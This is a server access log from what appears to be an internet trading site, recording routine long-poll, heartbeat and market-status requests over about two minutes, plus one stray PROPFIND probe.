[09/Jan/2026:12:53:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934660874 HTTP/1.1" -
[09/Jan/2026:12:53:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934662552 HTTP/1.1" -
[09/Jan/2026:12:53:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934666016 HTTP/1.1" -
[09/Jan/2026:12:53:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934667750 HTTP/1.1" -
[09/Jan/2026:12:53:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:53:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:53:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934671197 HTTP/1.1" -
[09/Jan/2026:12:53:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934673019 HTTP/1.1" -
[09/Jan/2026:12:53:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:53:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934676316 HTTP/1.1" -
[09/Jan/2026:12:53:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934678186 HTTP/1.1" -
[09/Jan/2026:12:53:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934681449 HTTP/1.1" -
[09/Jan/2026:12:53:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:53:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:53:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934683397 HTTP/1.1" -
[09/Jan/2026:12:53:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934686617 HTTP/1.1" -
[09/Jan/2026:12:53:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:53:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934688571 HTTP/1.1" -
[09/Jan/2026:12:53:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934691716 HTTP/1.1" -
[09/Jan/2026:12:53:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934693833 HTTP/1.1" -
[09/Jan/2026:12:53:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934697021 HTTP/1.1" -
[09/Jan/2026:12:53:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:53:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:53:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934699080 HTTP/1.1" -
[09/Jan/2026:12:53:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934702211 HTTP/1.1" -
[09/Jan/2026:12:53:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934704116 HTTP/1.1" -
[09/Jan/2026:12:53:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:53:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934707358 HTTP/1.1" -
[09/Jan/2026:12:54:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934709319 HTTP/1.1" -
[09/Jan/2026:12:54:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:54:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:54:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934712491 HTTP/1.1" -
[09/Jan/2026:12:54:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934714492 HTTP/1.1" -
[09/Jan/2026:12:54:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934717544 HTTP/1.1" -
[09/Jan/2026:12:54:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:54:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934719750 HTTP/1.1" -
[09/Jan/2026:12:54:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934722633 HTTP/1.1" -
[09/Jan/2026:12:54:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934724983 HTTP/1.1" -
[09/Jan/2026:12:54:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934727808 HTTP/1.1" -
[09/Jan/2026:12:54:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:54:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:54:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934730224 HTTP/1.1" -
[09/Jan/2026:12:54:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934732946 HTTP/1.1" -
[09/Jan/2026:12:54:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934735316 HTTP/1.1" -
[09/Jan/2026:12:54:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:27 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934738108 HTTP/1.1" -
[09/Jan/2026:12:54:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934740484 HTTP/1.1" -
[09/Jan/2026:12:54:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:54:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:54:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934743255 HTTP/1.1" -
[09/Jan/2026:12:54:36 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:12:54:36 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934745760 HTTP/1.1" -
[09/Jan/2026:12:54:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:39 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:54:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934748356 HTTP/1.1" -
[09/Jan/2026:12:54:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934750981 HTTP/1.1" -
[09/Jan/2026:12:54:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934753423 HTTP/1.1" -
[09/Jan/2026:12:54:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934756274 HTTP/1.1" -
[09/Jan/2026:12:54:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934758585 HTTP/1.1" -
[09/Jan/2026:12:54:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:54:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:54:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934761464 HTTP/1.1" -
[09/Jan/2026:12:54:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934763710 HTTP/1.1" -
[09/Jan/2026:12:54:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934766615 HTTP/1.1" -
[09/Jan/2026:12:54:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:54:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:55:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934768933 HTTP/1.1" -
[09/Jan/2026:12:55:02 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934771788 HTTP/1.1" -
[09/Jan/2026:12:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:55:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934774075 HTTP/1.1" -
[09/Jan/2026:12:55:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934777057 HTTP/1.1" -
[09/Jan/2026:12:55:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:55:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934779170 HTTP/1.1" -
[09/Jan/2026:12:55:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934782243 HTTP/1.1" -
[09/Jan/2026:12:55:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934784235 HTTP/1.1" -
[09/Jan/2026:12:55:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934787524 HTTP/1.1" -
[09/Jan/2026:12:55:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934789382 HTTP/1.1" -
[09/Jan/2026:12:55:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
